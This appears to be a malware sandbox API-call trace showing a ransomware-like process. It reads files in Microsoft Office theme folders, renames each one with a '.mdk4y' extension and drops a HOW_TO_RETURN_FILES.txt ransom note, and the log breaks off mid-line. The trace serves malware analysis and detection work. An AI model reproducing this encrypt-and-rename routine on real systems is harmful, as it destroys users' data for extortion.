CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CASCADE.ELM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CASCADE.ELMefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0117.908] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819313800000) returned 1 [0117.908] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xba44, lpOverlapped=0x0) returned 1 [0117.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819316500000) returned 1 [0117.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819316500000) returned 1 [0117.936] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.mdk4y")) returned 1 [0117.937] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.937] AreFileApisANSI () returned 1 [0117.937] GetACP () returned 0x4e4 [0117.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CASCADE.INF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CASCADE.INF", lpUsedDefaultChar=0x37dec0) returned 11 [0117.937] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819316700000) returned 1 [0117.937] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x262, lpOverlapped=0x0) returned 1 [0117.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819316800000) returned 1 [0117.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819316800000) returned 1 [0117.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.mdk4y")) returned 1 [0117.950] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.950] AreFileApisANSI () returned 1 [0117.950] GetACP () returned 0x4e4 [0117.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0117.950] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819318000000) returned 1 [0117.950] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x553, lpOverlapped=0x0) returned 1 [0117.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819322700000) returned 1 [0117.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819322700000) returned 1 [0117.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.mdk4y")) returned 1 [0118.001] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.001] AreFileApisANSI () returned 1 [0118.001] GetACP () returned 0x4e4 [0118.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0118.001] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819323100000) returned 1 [0118.001] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4f93, lpOverlapped=0x0) returned 1 [0118.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819323300000) returned 1 [0118.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819323300000) returned 1 [0118.003] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.mdk4y")) returned 1 [0118.004] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0118.004] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0118.004] AreFileApisANSI () returned 1 [0118.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0118.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0118.004] GetFileType (hFile=0x130) returned 0x1 [0118.005] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0118.005] AreFileApisANSI () returned 1 [0118.005] GetACP () returned 0x4e4 [0118.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COMPASS", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="COMPASS", lpUsedDefaultChar=0x37df4c) returned 7 [0118.005] AreFileApisANSI () returned 1 [0118.005] GetACP () returned 0x4e4 [0118.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\7\r") returned 64 [0118.006] AreFileApisANSI () returned 1 [0118.006] GetACP () returned 0x4e4 [0118.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0118.006] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.006] AreFileApisANSI () returned 1 [0118.006] GetACP () returned 0x4e4 [0118.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0118.006] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.006] AreFileApisANSI () returned 1 [0118.006] GetACP () returned 0x4e4 [0118.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COMPASS.ELM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="COMPASS.ELMefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0118.006] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819323700000) returned 1 [0118.007] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd613, lpOverlapped=0x0) returned 1 [0118.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819326200000) returned 1 [0118.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819326300000) returned 1 [0118.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.mdk4y")) returned 1 [0118.034] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.034] AreFileApisANSI () returned 1 [0118.034] GetACP () returned 0x4e4 [0118.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COMPASS.INF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="COMPASS.INF", lpUsedDefaultChar=0x37dec0) returned 11 [0118.034] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819326400000) returned 1 [0118.034] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e6, lpOverlapped=0x0) returned 1 [0118.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819326500000) returned 1 [0118.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819326500000) returned 1 [0118.035] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.mdk4y")) returned 1 [0118.036] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.036] AreFileApisANSI () returned 1 [0118.036] GetACP () returned 0x4e4 [0118.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0118.036] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819326600000) returned 1 [0118.036] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x50d, lpOverlapped=0x0) returned 1 [0118.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819327700000) returned 1 [0118.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819327800000) returned 1 [0118.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.mdk4y")) returned 1 [0118.056] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.056] AreFileApisANSI () returned 1 [0118.056] GetACP () returned 0x4e4 [0118.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0118.056] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819328600000) returned 1 [0118.056] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x505f, lpOverlapped=0x0) returned 1 [0118.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819328700000) returned 1 [0118.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819328700000) returned 1 [0118.058] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.mdk4y")) returned 1 [0118.058] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0118.058] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0118.058] AreFileApisANSI () returned 1 [0118.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0118.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0118.062] GetFileType (hFile=0x130) returned 0x1 [0118.063] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0118.063] AreFileApisANSI () returned 1 [0118.063] GetACP () returned 0x4e4 [0118.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONCRETE", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CONCRETE", lpUsedDefaultChar=0x37df4c) returned 8 [0118.063] AreFileApisANSI () returned 1 [0118.063] GetACP () returned 0x4e4 [0118.063] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\") returned 65 [0118.065] AreFileApisANSI () returned 1 [0118.065] GetACP () returned 0x4e4 [0118.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0118.065] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.065] AreFileApisANSI () returned 1 [0118.065] GetACP () returned 0x4e4 [0118.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0118.065] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.065] AreFileApisANSI () returned 1 [0118.065] GetACP () returned 0x4e4 [0118.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONCRETE.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CONCRETE.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0118.065] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819329600000) returned 1 [0118.066] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb1d8, lpOverlapped=0x0) returned 1 [0118.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819331500000) returned 1 [0118.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819331500000) returned 1 [0118.086] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.mdk4y")) returned 1 [0118.086] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.086] AreFileApisANSI () returned 1 [0118.086] GetACP () returned 0x4e4 [0118.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONCRETE.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CONCRETE.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0118.086] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819331700000) returned 1 [0118.087] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e0, lpOverlapped=0x0) returned 1 [0118.088] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819331800000) returned 1 [0118.088] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819331800000) returned 1 [0118.088] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.mdk4y")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.177] AreFileApisANSI () returned 1 [0118.177] GetACP () returned 0x4e4 [0118.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0118.177] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.177] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819340700000) returned 1 [0118.177] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x507, lpOverlapped=0x0) returned 1 [0118.214] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819344400000) returned 1 [0118.214] QueryPerformanceCounter (in: 